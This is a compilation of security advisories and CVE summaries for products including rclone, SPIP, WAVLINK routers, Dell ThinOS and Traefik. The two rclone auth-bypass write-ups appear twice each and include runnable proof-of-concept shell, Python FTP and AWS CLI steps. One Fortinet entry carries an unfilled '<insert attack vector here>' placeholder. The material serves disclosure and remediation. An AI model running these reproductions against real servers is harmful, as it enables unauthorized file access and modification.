GetSimple CMS is a content management system (CMS), and GetSimple CMS CE is the community edition of that CMS. A logic flaw in GetSimple CMS (v3.4.0a and below) and GetSimpleCMS-CE (v3.3.22 and below) allows unauthenticated attackers to create a new administrator account. The application features an automated security control designed to delete the sensitive admin/setup.php file post-installation. However, this control is neutralized by a self-exclusion bug within the deletion logic, leaving the setup script accessible for unauthorized account creation even after a legitimate installation is completed. As of time of publication, no known patched versions are available.

Unauthenticated PHP Object Injection in ThemeREX Addons < 2.45.0 versions.

Unauthenticated PHP Object Injection in Everest Forms <= 3.6.0 versions.

SPIP before 4.4.18 contains a remote code execution vulnerability in the editerobjet action where the arg parameter resolves SQL table names without enforcing an editable columns allowlist, allowing attackers with a valid nonce to inject attacker-controlled rows into the spipjobs table. Attackers can supply arg=job/0 with crafted fonction and args values, which are later unserialized and executed when the cron job queue is drained, resulting in arbitrary PHP function execution on the underlying system.

SPIP before 4.4.18 contains a missing authorization vulnerability in the administrative action endpoints under ecrire/action/ that allows unauthenticated attackers to perform privileged actions by supplying a valid HMAC-SHA256 nonce without any server-side permission check via autoriser(). Attackers can obtain a valid nonce, compute it for any action as the anonymous user, and invoke the editerauteur action directly over HTTP to reset the password of any user account, including the administrator.

WAVLINK WN535M1 and WN535M3 routers running firmware prior to M35M1V250922 contain an unauthenticated OS command injection vulnerability that allows remote attackers to execute arbitrary commands as root by sending crafted filenames to the syncserver daemon on TCP port 13136. The daemon interpolates attacker-controlled filename input containing shell metacharacters into a shell command string via sprintf() and passes it to system() without sanitization, enabling root-level command execution on the device.

WAVLINK WN535M1 and WN535M3 routers running firmware prior to M35M1V250922 contain an unauthenticated arbitrary file write vulnerability that allows remote attackers to overwrite any file on the device by sending a crafted payload to the syncserver daemon on TCP port 13136. The daemon, which runs as root and requires no authentication, accepts a 100-byte filename field in its protocol header without path canonicalization, allowing attackers to supply an absolute path and write arbitrary content to overwrite startup scripts or credential stores to achieve persistent system compromise.

A vulnerability in the Chef Automate API gateway and identity validation path may allow an unauthenticated actor to gain elevated access to protected Chef Automate functionality under specific conditions.

A inclusion of sensitive information in source code vulnerability in Fortinet FortiMonitorOnSight 7.2.4 through 7.2.7, FortiMonitorOnSight 7.2.0 through 7.2.2 may allow attacker to improper access control via <insert attack vector here>

Hugo is a static site generator. From v0.161.0, Hugo executes Node tools under Node's permission model, but TailwindCSS — included in the default security.exec.allow list — requires a highly permissive configuration (--allow-addons, --allow-child-process, --allow-worker). As a result, the restrictions intended by the fix for GHSA-x597-9fr4-5857 could still be bypassed, allowing a Node tool invoked during a build to read and write files outside the project's working directory. Affected versions are those after v0.43; the issue was fixed in v0.165.0 by removing tailwindcss from the default security.exec.allow list. Users who do not use TailwindCSS, or who only build trusted sites, are not affected. As a workaround, users can define a restrictive security.exec.allow list in hugo.toml.

The MIPL Grouped Checkout Fields for WooCommerce – Customize & Organize Checkout Fields. plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the miplwcuploadfile function in all versions up to, and including, 1.2.1. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.

Summary rclone serve s3's handler chain, when --auth-proxy is configured, is (outermost first): authPairMiddleware -> proxyAuthMiddleware -> gofakes3's own SigV4-verifying handler.

authPairMiddleware parses the accessKeyID straight out of the incoming request's own Authorization header (entirely client-controlled) and registers {accessKey: ws.s3Secret} into gofakes3's shared credential store via AddAuthKeys, for EVERY access key any client presents - not just ones previously known to the server. ws.s3Secret defaults to "" whenever --auth-key is not set, which the --auth-proxy documentation (and the reference bin/testproxy.py) presents as a complete, standalone authentication mechanism requiring no other flag - matching how it's used for serve webdav/ftp/sftp.

gofakes3's SigV4 verification then checks the request's signature against exactly the secret authPairMiddleware just registered for that same client-chosen key. An empty string is a valid HMAC key, so a caller can trivially compute a correct SigV4 signature for ANY access key ID of their choosing using an empty secret, and verification passes.

Crucially, the auth-proxy script never receives a real secret to verify against, for S3 specifically: Server.auth() calls w.proxy.Call(md5(accessKeyID), accessKeyID, false, r.RemoteAddr) - passing the access key ID itself as BOTH the hashed "user" and the raw "auth"/password fields. Contrast with serve webdav/ftp/sftp, whose proxy integration passes the client's actual typed password (see bin/testproxy.py, which forwards it into a backing SFTP login for real verification). For S3, no independent secret is ever transmitted to the proxy script at all, so no script - however carefully written - can distinguish a legitimate holder of an access key ID from an attacker who merely picked the same string.

Net effect: with --auth-proxy configured and --auth-key not also set (the configuration the feature is documented to support standalone), SigV4 signature verification authenticates nobody.

Details Vulnerable code (before fix): go func authPairMiddleware(next http.Handler, ws Server) http.Handler { return http.HandlerFunc(func(w http.ResponseWriter, r http.Request) { accessKey, := parseAccessKeyID(r) authPair := map[string]string{accessKey: ws.s3Secret} ws.faker.AddAuthKeys(authPair) next.ServeHTTP(w, r) }) }

PoC Built and signed a request by hand (via the vendored github.com/aws/aws-sdk-go-v2/aws/signer/v4) using a freshly-random access key ID never configured or returned by anything, with SecretAccessKey: "", against a real rclone serve s3 --auth-proxy <script> instance with no --auth-key set: status=200 <ListAllMyBucketsResult>...<Bucket><Name>mybucket</Name>... A fully authenticated, successful bucket listing, with zero prior credential knowledge.

Impact Any network-reachable, unauthenticated attacker who knows (or discovers) that a target is running rclone serve s3 --auth-proxy without --auth-key can choose an arbitrary access key ID, sign a request against an empty secret, and be treated as an authenticated user by the auth-proxy script - reaching whatever backend that script resolves the chosen identity to. No credentials, prior access, or user interaction of any kind are required.

Fix Refuse to start rclone serve s3 when --auth-proxy is set without --auth-key, rather than silently falling back to a signature check that authenticates nobody: go if proxyOpt.AuthProxy != "" && len(opt.AuthKey) == 0 { return nil, errors.New("serve s3: --auth-proxy requires --auth-key to also be set (SigV4 has no other way to verify a signature for a dynamically-proxied identity)") } Note this is a minimal fix for the zero-knowledge bypass; once --auth-key is also set, every access key ID still shares that one static secret for signature-verification purposes (a caller who knows it can request any identity from the proxy script) - a narrower, pre-existing limitation flagged for awareness but not changed here, since a complete fix needs the auth-proxy wire protocol to carry a per-identity secret for S3 specifically (a larger design change).

Summary

serve/start accepts protocol options in a per-server proxyOpt object. The FTP and S3 RC adapters parse that object and pass it to their server constructors, but the constructors decide whether proxy authentication is enabled by checking the process-global proxy.Opt.AuthProxy instead of the supplied proxyOpt.AuthProxy.

When the process-global option is empty—the normal case when only the RC request configures the server—the supplied authentication proxy is silently ignored. FTP falls back to its fixed-backend mode, whose defaults accept username anonymous with any password, exposing read, write, and delete operations without the authentication the operator configured. S3 falls back to the fixed filesystem: with an authkey, any holder of that key reaches the fixed RC fs instead of the backend selected by the auth proxy.

The S3 no-authkey mode is explicitly documented as anonymous and is not part of this vulnerability claim. The confirmed S3 impact is proxy-based authorization/backend routing being ignored when S3 authentication is otherwise enabled.

Confirmed affected versions are v1.70.0 through v1.75.0, plus development commit 5629f2668c69149bf3d9d8e2a25bb32a2648606e. The dedicated CLI commands use the process-global option and are not affected by this configuration mismatch.

Affected Assets & Attack Surface

- cmd/serve/rc.go:68-93 documents nested per-server proxyOpt support, including AuthProxy. - cmd/serve/rc.go:111-148 resolves the fixed fs and invokes the selected per-protocol RC constructor. - cmd/serve/ftp/ftp.go:96-116 parses the request-local proxyOpt and passes it to newServer. - cmd/serve/ftp/ftp.go:186-207 checks proxy.Opt.AuthProxy at line 202 instead of proxyOpt.AuthProxy; the false branch creates globalVFS from the RC-supplied filesystem. - cmd/serve/ftp/ftp.go:54-60 defines the fallback credentials as user anonymous and an empty password. - cmd/serve/ftp/ftp.go:318-349 accepts any password when the configured fallback password is empty. - cmd/serve/s3/s3.go:76-96 parses and passes the request-local S3 proxy options. - cmd/serve/s3/server.go:67-101 checks proxy.Opt.AuthProxy at line 91 and otherwise exposes the fixed VFS. S3 authentication through AuthKey remains separate from proxy-based backend selection. - Network attack surface: FTP data and control operations on an RC-started server; authenticated S3 operations on an RC-started server intended to route access keys to distinct proxy backends. - Configuration attack surface: rclone rc serve/start ... proxyOpt='{"AuthProxy":"..."}' or the equivalent JSON request.

Technical Root Cause Analysis

The serve implementation has two option scopes:

- proxy.Opt is process-global and is populated by command-line/global option parsing. - proxyOpt is a constructor argument populated from the individual serve/start request.

The RC adapters correctly create a local copy, apply the request parameters, and call newServer(..., &proxyOpt). Neither adapter mutates the global. The constructors then branch on the wrong value:

go // Current FTP and S3 pattern if proxy.Opt.AuthProxy != "" { // Uses proxyOpt only after the unrelated global check succeeds. serverProxy = proxy.New(ctx, proxyOpt, vfsOpt) } else { // Fail-open fixed-backend mode. }

Consequently, a valid, documented per-server security option is parsed without error but does not select the security mode it represents. This is not merely an unsupported combination: both RC adapters explicitly parse proxyOpt, and the generic serve/start documentation gives proxyOpt.AuthProxy as an example.

For FTP, the fallback is security-critical because its default account accepts an arbitrary password. For S3, the fallback bypasses the proxy's backend decision, but it does not independently bypass a configured AuthKey. If no AuthKey is configured, anonymous S3 access is expected behavior and should not be cited as impact.

Proof of Concept & Evidence

The following loopback-only reproduction uses an auth proxy that rejects every login. If the request-local proxy were active, no FTP login could succeed.

Build the inspected revision, then prepare a fixed filesystem and rejecting proxy:

sh mkdir -p /tmp/rclone-rc-root printf 'fixed-backend-secret\n' > /tmp/rclone-rc-root/secret.txt rm -f /tmp/rclone-auth-proxy-invoked

cat > /tmp/deny-rclone-proxy.sh <<'EOF' #!/bin/sh printf 'invoked\n' >> /tmp/rclone-auth-proxy-invoked cat >/dev/null exit 1 EOF chmod 700 /tmp/deny-rclone-proxy.sh

Start RC on loopback in one terminal:

sh ./rclone rcd --rc-addr 127.0.0.1:5572 --rc-no-auth

Start an FTP server with only the request-local auth proxy configured:

sh ./rclone rc --url http://127.0.0.1:5572 \ serve/start \ type=ftp \ fs=/tmp/rclone-rc-root \ proxyOpt='{"AuthProxy":"/tmp/deny-rclone-proxy.sh"}' \ opt='{"ListenAddr":"127.0.0.1:2121","PassivePorts":"30000-30010"}'

Connect with the fallback credentials and exercise read and write access:

sh python3 - <<'PY' import ftplib import io

ftp = ftplib.FTP() ftp.connect("127.0.0.1", 2121, timeout=5) ftp.login("anonymous", "arbitrary-password")

data = bytearray() ftp.retrbinary("RETR secret.txt", data.extend) print(data.decode().strip())

ftp.storbinary("STOR overwritten.txt", io.BytesIO(b"attacker-controlled\n")) ftp.quit() PY

test ! -e /tmp/rclone-auth-proxy-invoked grep -F attacker-controlled /tmp/rclone-rc-root/overwritten.txt

Observed against 5629f2668c69149bf3d9d8e2a25bb32a2648606e:

- Login as anonymous succeeds with an arbitrary password. - secret.txt is returned from the fixed RC filesystem. - overwritten.txt is created in that filesystem. - The rejecting auth-proxy program is never invoked.

The equivalent automated network test, TestSecurityValidationRCPerServerAuthProxyFTP, called the actual serve/start RC handler, connected through github.com/jlaffaye/ftp, retrieved the fixed-root secret, uploaded a new object, and verified its bytes on disk. It passed on Windows/amd64 with Go 1.26.2:

text === RUN TestSecurityValidationRCPerServerAuthProxyFTP --- PASS: TestSecurityValidationRCPerServerAuthProxyFTP (0.14s)

Authenticated S3 backend-routing reproduction

This validation distinguishes the S3 issue from documented anonymous mode. Prepare two different roots:

sh mkdir -p /tmp/rclone-s3-fixed/bucket /tmp/rclone-s3-proxy/bucket printf 'fixed-backend-secret\n' > /tmp/rclone-s3-fixed/bucket/fixed-secret.txt printf 'proxy-backend-only\n' > /tmp/rclone-s3-proxy/bucket/proxy-only.txt

cat > /tmp/rclone-s3-route-proxy.py <<'PY' #!/usr/bin/env python3 import json import sys

json.load(sys.stdin) print(json.dumps({"type": "local", "root": "/tmp/rclone-s3-proxy"})) PY chmod 700 /tmp/rclone-s3-route-proxy.py

Using the same loopback RC process, start an authenticated S3 server:

sh ./rclone rc --url http://127.0.0.1:5572 serve/start --json '{ "type": "s3", "fs": "/tmp/rclone-s3-fixed", "addr": "127.0.0.1:8080", "authkey": ["validation-key,validation-secret"], "proxyOpt": { "AuthProxy": "python3 /tmp/rclone-s3-route-proxy.py" } }'

Send a correctly signed S3 request:

sh AWSACCESSKEYID=validation-key \ AWSSECRETACCESSKEY=validation-secret \ AWSDEFAULTREGION=us-east-1 \ aws --endpoint-url http://127.0.0.1:8080 \ s3api get-object \ --bucket bucket \ --key fixed-secret.txt \ /tmp/rclone-s3-result

grep -F fixed-backend-secret /tmp/rclone-s3-result

If the request-local proxy were active, fixed-secret.txt would not exist because the proxy selects /tmp/rclone-s3-proxy. Current code serves it from /tmp/rclone-s3-fixed. Conversely, a request for proxy-only.txt returns NoSuchKey.

The automated validation TestSecurityValidationRCPerServerAuthProxyS3Routing performed this sequence through the actual serve/start handler and a MinIO Signature V4 client. It used a valid AuthKey, fetched fixed-secret.txt, and confirmed that proxy-only.txt was absent:

text === RUN TestSecurityValidationRCPerServerAuthProxyS3Routing --- PASS: TestSecurityValidationRCPerServerAuthProxyS3Routing (0.17s)

This demonstrates backend-authorization bypass, not anonymous S3 access.

Impact Assessment

For RC-started FTP servers configured to use an auth proxy, an unauthenticated network client can read, create, overwrite, and delete objects in the fixed filesystem supplied to serve/start, subject only to VFS options such as readonly. This is a complete authentication bypass and grants capabilities the attacker did not previously possess.

For RC-started S3 servers that combine authkey with auth-proxy backend selection, a client with any accepted S3 key can reach the fixed filesystem rather than the filesystem authorized for that access key. The resulting cross-backend disclosure or modification depends on what the RC caller supplied as fs and on the fixed filesystem's VFS permissions.

Exploitation does not require changing globals, controlling the RC endpoint, or using an unusual protocol extension. It requires an operator to use the documented per-server proxy option and expose the resulting FTP or S3 listener. CLI-started servers whose auth proxy is set globally are not affected.

Remediation Guidance

Change the mode checks in both constructors to use the option object passed to that server:

go if proxyOpt != nil && proxyOpt.AuthProxy != "" { d.proxy = proxy.New(ctx, proxyOpt, vfsOpt) // Do not create a fixed/global VFS in this mode. } else { d.globalVFS = vfs.New(ctx, f, vfsOpt) }

Apply the equivalent change in cmd/serve/s3/server.go. Do not copy the local option into the global as a workaround; multiple RC-started servers may intentionally use different auth proxies, and global mutation would introduce cross-server races and configuration leakage.

Also:

- Validate a nil or empty proxy command before constructing proxy mode and return a startup error rather than falling back. - In S3, make the “allowing anonymous access” log conditional on both the absence of AuthKey and the absence of an active auth proxy, so the log reflects the effective mode. - Add RC integration tests for FTP and S3 with global proxy.Opt.AuthProxy empty and nested proxyOpt.AuthProxy non-empty. - In the FTP test, use a rejecting proxy and assert that anonymous login fails and the proxy is invoked. - In the S3 test, configure AuthKey, map two access keys or proxy responses to distinct roots, and assert that a request never reaches the fixed RC fs. - Add a multi-server test proving that two simultaneous serve/start instances can use different proxy settings without consulting or mutating global state. - Audit other serve.AddRc implementations for the same pattern: parsing a request-local option but branching on its global counterpart.

Suricata is a network Intrusion Detection System, Intrusion Prevention System and Network Security Monitoring engine. Prior to versions 7.0.16 and 8.0.5, a protocol change while processing HTTP/2 traffic could lead to type confusion in Suricata. Crafted traffic may cause Suricata to crash, resulting in denial of service. Versions 7.0.16 and 8.0.5 contain a fix. As a workaround, disable HTTP/2 parsing if it is not required.

A vulnerability was reported in Lenovo Health Android Application, distributed exclusively in the Chinese market, that could allow an attacker to access sensitive health-related information.

Forgejo before 16.0.4 allows remote code execution via a crafted template repository because template expansion on files in .forgejo/template is mishandled.

In the jose package before 0.11.0 for OCaml, library calls to validate an RSA signature only confirm that PKCS #1 decoding succeeds, and proceed to declare the signature valid without the required steps that involve the public key.

A server-side request forgery issue due to improper validation of equivalent address representations in the port forwarding to remote hosts functionality in Amazon AWS Systems Manager Agent (SSM Agent) before 3.3.4851.0 on all platforms might allow an authenticated remote user to bypass the remote destination denylist and reach link-local endpoints, potentially obtaining the temporary IAM role credentials of a managed instance and acting with that role's permissions from outside the instance, via a crafted destination host value that uses an alternate representation of a denied link-local address.

To remediate this issue, users should upgrade to version 3.3.4851.0 or later.

passport-saml-encrypted through 0.1.13 makes SAML signature verification conditional on an optional cert option, allowing attackers to bypass authentication by submitting unsigned SAML responses. Attackers can post forged SAML responses with arbitrary NameID and attributes to the assertion consumer service endpoint to receive authenticated profiles without valid signatures.

An integer overflow in the tensor buffer validation component in Amazon Deep Java Library (DJL) from 0.13.0 through 0.36.0 on all platforms might allow a remote unauthenticated actor to obtain information from adjacent process memory or cause a denial of service via a crafted tensor payload.

To remediate this issue, users should upgrade to version 0.37.0 or above.

Path traversal in Plesk's Backup Manager causes arbitrary file write as root by an authenticated customer.

A Time-of-check Time-of-use (TOCTOU) race condition leading to insecure symlink following in Plesk causes local privilege escalation to root via arbitrary file/directory ownership takeover.

Summary

serve/start accepts protocol options in a per-server proxyOpt object. The FTP and S3 RC adapters parse that object and pass it to their server constructors, but the constructors decide whether proxy authentication is enabled by checking the process-global proxy.Opt.AuthProxy instead of the supplied proxyOpt.AuthProxy.

When the process-global option is empty—the normal case when only the RC request configures the server—the supplied authentication proxy is silently ignored. FTP falls back to its fixed-backend mode, whose defaults accept username anonymous with any password, exposing read, write, and delete operations without the authentication the operator configured. S3 falls back to the fixed filesystem: with an authkey, any holder of that key reaches the fixed RC fs instead of the backend selected by the auth proxy.

The S3 no-authkey mode is explicitly documented as anonymous and is not part of this vulnerability claim. The confirmed S3 impact is proxy-based authorization/backend routing being ignored when S3 authentication is otherwise enabled.

Confirmed affected versions are v1.70.0 through v1.75.0, plus development commit 5629f2668c69149bf3d9d8e2a25bb32a2648606e. The dedicated CLI commands use the process-global option and are not affected by this configuration mismatch.

Affected Assets & Attack Surface

- cmd/serve/rc.go:68-93 documents nested per-server proxyOpt support, including AuthProxy. - cmd/serve/rc.go:111-148 resolves the fixed fs and invokes the selected per-protocol RC constructor. - cmd/serve/ftp/ftp.go:96-116 parses the request-local proxyOpt and passes it to newServer. - cmd/serve/ftp/ftp.go:186-207 checks proxy.Opt.AuthProxy at line 202 instead of proxyOpt.AuthProxy; the false branch creates globalVFS from the RC-supplied filesystem. - cmd/serve/ftp/ftp.go:54-60 defines the fallback credentials as user anonymous and an empty password. - cmd/serve/ftp/ftp.go:318-349 accepts any password when the configured fallback password is empty. - cmd/serve/s3/s3.go:76-96 parses and passes the request-local S3 proxy options. - cmd/serve/s3/server.go:67-101 checks proxy.Opt.AuthProxy at line 91 and otherwise exposes the fixed VFS. S3 authentication through AuthKey remains separate from proxy-based backend selection. - Network attack surface: FTP data and control operations on an RC-started server; authenticated S3 operations on an RC-started server intended to route access keys to distinct proxy backends. - Configuration attack surface: rclone rc serve/start ... proxyOpt='{"AuthProxy":"..."}' or the equivalent JSON request.

Technical Root Cause Analysis

The serve implementation has two option scopes:

- proxy.Opt is process-global and is populated by command-line/global option parsing. - proxyOpt is a constructor argument populated from the individual serve/start request.

The RC adapters correctly create a local copy, apply the request parameters, and call newServer(..., &proxyOpt). Neither adapter mutates the global. The constructors then branch on the wrong value:

go // Current FTP and S3 pattern if proxy.Opt.AuthProxy != "" { // Uses proxyOpt only after the unrelated global check succeeds. serverProxy = proxy.New(ctx, proxyOpt, vfsOpt) } else { // Fail-open fixed-backend mode. }

Consequently, a valid, documented per-server security option is parsed without error but does not select the security mode it represents. This is not merely an unsupported combination: both RC adapters explicitly parse proxyOpt, and the generic serve/start documentation gives proxyOpt.AuthProxy as an example.

For FTP, the fallback is security-critical because its default account accepts an arbitrary password. For S3, the fallback bypasses the proxy's backend decision, but it does not independently bypass a configured AuthKey. If no AuthKey is configured, anonymous S3 access is expected behavior and should not be cited as impact.

Proof of Concept & Evidence

The following loopback-only reproduction uses an auth proxy that rejects every login. If the request-local proxy were active, no FTP login could succeed.

Build the inspected revision, then prepare a fixed filesystem and rejecting proxy:

sh mkdir -p /tmp/rclone-rc-root printf 'fixed-backend-secret\n' > /tmp/rclone-rc-root/secret.txt rm -f /tmp/rclone-auth-proxy-invoked

cat > /tmp/deny-rclone-proxy.sh <<'EOF' #!/bin/sh printf 'invoked\n' >> /tmp/rclone-auth-proxy-invoked cat >/dev/null exit 1 EOF chmod 700 /tmp/deny-rclone-proxy.sh

Start RC on loopback in one terminal:

sh ./rclone rcd --rc-addr 127.0.0.1:5572 --rc-no-auth

Start an FTP server with only the request-local auth proxy configured:

sh ./rclone rc --url http://127.0.0.1:5572 \ serve/start \ type=ftp \ fs=/tmp/rclone-rc-root \ proxyOpt='{"AuthProxy":"/tmp/deny-rclone-proxy.sh"}' \ opt='{"ListenAddr":"127.0.0.1:2121","PassivePorts":"30000-30010"}'

Connect with the fallback credentials and exercise read and write access:

sh python3 - <<'PY' import ftplib import io

ftp = ftplib.FTP() ftp.connect("127.0.0.1", 2121, timeout=5) ftp.login("anonymous", "arbitrary-password")

data = bytearray() ftp.retrbinary("RETR secret.txt", data.extend) print(data.decode().strip())

ftp.storbinary("STOR overwritten.txt", io.BytesIO(b"attacker-controlled\n")) ftp.quit() PY

test ! -e /tmp/rclone-auth-proxy-invoked grep -F attacker-controlled /tmp/rclone-rc-root/overwritten.txt

Observed against 5629f2668c69149bf3d9d8e2a25bb32a2648606e:

- Login as anonymous succeeds with an arbitrary password. - secret.txt is returned from the fixed RC filesystem. - overwritten.txt is created in that filesystem. - The rejecting auth-proxy program is never invoked.

The equivalent automated network test, TestSecurityValidationRCPerServerAuthProxyFTP, called the actual serve/start RC handler, connected through github.com/jlaffaye/ftp, retrieved the fixed-root secret, uploaded a new object, and verified its bytes on disk. It passed on Windows/amd64 with Go 1.26.2:

text === RUN TestSecurityValidationRCPerServerAuthProxyFTP --- PASS: TestSecurityValidationRCPerServerAuthProxyFTP (0.14s)

Authenticated S3 backend-routing reproduction

This validation distinguishes the S3 issue from documented anonymous mode. Prepare two different roots:

sh mkdir -p /tmp/rclone-s3-fixed/bucket /tmp/rclone-s3-proxy/bucket printf 'fixed-backend-secret\n' > /tmp/rclone-s3-fixed/bucket/fixed-secret.txt printf 'proxy-backend-only\n' > /tmp/rclone-s3-proxy/bucket/proxy-only.txt

cat > /tmp/rclone-s3-route-proxy.py <<'PY' #!/usr/bin/env python3 import json import sys

json.load(sys.stdin) print(json.dumps({"type": "local", "root": "/tmp/rclone-s3-proxy"})) PY chmod 700 /tmp/rclone-s3-route-proxy.py

Using the same loopback RC process, start an authenticated S3 server:

sh ./rclone rc --url http://127.0.0.1:5572 serve/start --json '{ "type": "s3", "fs": "/tmp/rclone-s3-fixed", "addr": "127.0.0.1:8080", "authkey": ["validation-key,validation-secret"], "proxyOpt": { "AuthProxy": "python3 /tmp/rclone-s3-route-proxy.py" } }'

Send a correctly signed S3 request:

sh AWSACCESSKEYID=validation-key \ AWSSECRETACCESSKEY=validation-secret \ AWSDEFAULTREGION=us-east-1 \ aws --endpoint-url http://127.0.0.1:8080 \ s3api get-object \ --bucket bucket \ --key fixed-secret.txt \ /tmp/rclone-s3-result

grep -F fixed-backend-secret /tmp/rclone-s3-result

If the request-local proxy were active, fixed-secret.txt would not exist because the proxy selects /tmp/rclone-s3-proxy. Current code serves it from /tmp/rclone-s3-fixed. Conversely, a request for proxy-only.txt returns NoSuchKey.

The automated validation TestSecurityValidationRCPerServerAuthProxyS3Routing performed this sequence through the actual serve/start handler and a MinIO Signature V4 client. It used a valid AuthKey, fetched fixed-secret.txt, and confirmed that proxy-only.txt was absent:

text === RUN TestSecurityValidationRCPerServerAuthProxyS3Routing --- PASS: TestSecurityValidationRCPerServerAuthProxyS3Routing (0.17s)

This demonstrates backend-authorization bypass, not anonymous S3 access.

Impact Assessment

For RC-started FTP servers configured to use an auth proxy, an unauthenticated network client can read, create, overwrite, and delete objects in the fixed filesystem supplied to serve/start, subject only to VFS options such as readonly. This is a complete authentication bypass and grants capabilities the attacker did not previously possess.

For RC-started S3 servers that combine authkey with auth-proxy backend selection, a client with any accepted S3 key can reach the fixed filesystem rather than the filesystem authorized for that access key. The resulting cross-backend disclosure or modification depends on what the RC caller supplied as fs and on the fixed filesystem's VFS permissions.

Exploitation does not require changing globals, controlling the RC endpoint, or using an unusual protocol extension. It requires an operator to use the documented per-server proxy option and expose the resulting FTP or S3 listener. CLI-started servers whose auth proxy is set globally are not affected.

Remediation Guidance

Change the mode checks in both constructors to use the option object passed to that server:

go if proxyOpt != nil && proxyOpt.AuthProxy != "" { d.proxy = proxy.New(ctx, proxyOpt, vfsOpt) // Do not create a fixed/global VFS in this mode. } else { d.globalVFS = vfs.New(ctx, f, vfsOpt) }

Apply the equivalent change in cmd/serve/s3/server.go. Do not copy the local option into the global as a workaround; multiple RC-started servers may intentionally use different auth proxies, and global mutation would introduce cross-server races and configuration leakage.

Also:

- Validate a nil or empty proxy command before constructing proxy mode and return a startup error rather than falling back. - In S3, make the “allowing anonymous access” log conditional on both the absence of AuthKey and the absence of an active auth proxy, so the log reflects the effective mode. - Add RC integration tests for FTP and S3 with global proxy.Opt.AuthProxy empty and nested proxyOpt.AuthProxy non-empty. - In the FTP test, use a rejecting proxy and assert that anonymous login fails and the proxy is invoked. - In the S3 test, configure AuthKey, map two access keys or proxy responses to distinct roots, and assert that a request never reaches the fixed RC fs. - Add a multi-server test proving that two simultaneous serve/start instances can use different proxy settings without consulting or mutating global state. - Audit other serve.AddRc implementations for the same pattern: parsing a request-local option but branching on its global counterpart.

Summary rclone serve s3's handler chain, when --auth-proxy is configured, is (outermost first): authPairMiddleware -> proxyAuthMiddleware -> gofakes3's own SigV4-verifying handler.

authPairMiddleware parses the accessKeyID straight out of the incoming request's own Authorization header (entirely client-controlled) and registers {accessKey: ws.s3Secret} into gofakes3's shared credential store via AddAuthKeys, for EVERY access key any client presents - not just ones previously known to the server. ws.s3Secret defaults to "" whenever --auth-key is not set, which the --auth-proxy documentation (and the reference bin/testproxy.py) presents as a complete, standalone authentication mechanism requiring no other flag - matching how it's used for serve webdav/ftp/sftp.

gofakes3's SigV4 verification then checks the request's signature against exactly the secret authPairMiddleware just registered for that same client-chosen key. An empty string is a valid HMAC key, so a caller can trivially compute a correct SigV4 signature for ANY access key ID of their choosing using an empty secret, and verification passes.

Crucially, the auth-proxy script never receives a real secret to verify against, for S3 specifically: Server.auth() calls w.proxy.Call(md5(accessKeyID), accessKeyID, false, r.RemoteAddr) - passing the access key ID itself as BOTH the hashed "user" and the raw "auth"/password fields. Contrast with serve webdav/ftp/sftp, whose proxy integration passes the client's actual typed password (see bin/testproxy.py, which forwards it into a backing SFTP login for real verification). For S3, no independent secret is ever transmitted to the proxy script at all, so no script - however carefully written - can distinguish a legitimate holder of an access key ID from an attacker who merely picked the same string.

Net effect: with --auth-proxy configured and --auth-key not also set (the configuration the feature is documented to support standalone), SigV4 signature verification authenticates nobody.

Details Vulnerable code (before fix): go func authPairMiddleware(next http.Handler, ws Server) http.Handler { return http.HandlerFunc(func(w http.ResponseWriter, r http.Request) { accessKey, := parseAccessKeyID(r) authPair := map[string]string{accessKey: ws.s3Secret} ws.faker.AddAuthKeys(authPair) next.ServeHTTP(w, r) }) }

PoC Built and signed a request by hand (via the vendored github.com/aws/aws-sdk-go-v2/aws/signer/v4) using a freshly-random access key ID never configured or returned by anything, with SecretAccessKey: "", against a real rclone serve s3 --auth-proxy <script> instance with no --auth-key set: status=200 <ListAllMyBucketsResult>...<Bucket><Name>mybucket</Name>... A fully authenticated, successful bucket listing, with zero prior credential knowledge.

Impact Any network-reachable, unauthenticated attacker who knows (or discovers) that a target is running rclone serve s3 --auth-proxy without --auth-key can choose an arbitrary access key ID, sign a request against an empty secret, and be treated as an authenticated user by the auth-proxy script - reaching whatever backend that script resolves the chosen identity to. No credentials, prior access, or user interaction of any kind are required.

Fix Refuse to start rclone serve s3 when --auth-proxy is set without --auth-key, rather than silently falling back to a signature check that authenticates nobody: go if proxyOpt.AuthProxy != "" && len(opt.AuthKey) == 0 { return nil, errors.New("serve s3: --auth-proxy requires --auth-key to also be set (SigV4 has no other way to verify a signature for a dynamically-proxied identity)") } Note this is a minimal fix for the zero-knowledge bypass; once --auth-key is also set, every access key ID still shares that one static secret for signature-verification purposes (a caller who knows it can request any identity from the proxy script) - a narrower, pre-existing limitation flagged for awareness but not changed here, since a complete fix needs the auth-proxy wire protocol to carry a per-identity secret for S3 specifically (a larger design change).

Dell ThinOS 10, versions prior to 260510.2616, contain a Protection Mechanism Failure vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to Arbitrary Code Execution within the application context.

Dell ThinOS 10, versions prior to 260510. 2616, contains an Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability. A high privileged attacker with remote access could potentially exploit this vulnerability, leading to Command execution.

Dell ThinOS 10, versions prior to 260510. 2616, contains an Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to Command execution.

Dell ThinOS 10, versions prior to 260510.2616, contain an Improper Neutralization of Special Elements used in a Command ('Command Injection') vulnerability. An unauthenticated attacker with adjacent network access could potentially exploit this vulnerability, leading to Remote Code execution

knowns versions before 0.31.0 fail to properly validate the x-opencode-directory request header in the /api/opencode proxy endpoint. Remote attackers can supply arbitrary directory paths to execute file operations outside the project root on the host system.

Summary

Traefik's HTTP/3 request path did not initialize the connection-scoped backend transport holder that isolates connection-bound NTLM and Negotiate (Kerberos) authentication on the HTTP/1.1 and HTTP/2 paths. The HTTP/3 entrypoint reuses the HTTPS handler chain and reaches the same backend round-tripper, but its ConnContext never called service.AddTransportOnContext, so kerberosRoundTripper fell back to the shared backend transport instead of a per-frontend-connection pool. On a route served over HTTP/3 to a backend that binds identity to a persistent connection via NTLM or Negotiate, an unrelated HTTP/3 client could be assigned a backend connection already authenticated as a victim and inherit that identity, reading victim-only data and performing actions as the victim without presenting the victim's credentials. Affected deployments require HTTP/3 enabled on the entrypoint, a backend using connection-bound NTLM/Negotiate authentication, and backend keep-alive; deployments using ordinary per-request authentication are not affected.

Patches

- https://github.com/traefik/traefik/releases/tag/v2.11.57 - https://github.com/traefik/traefik/releases/tag/v3.7.13

For more information

If you have any questions or comments about this advisory, please open an issue.

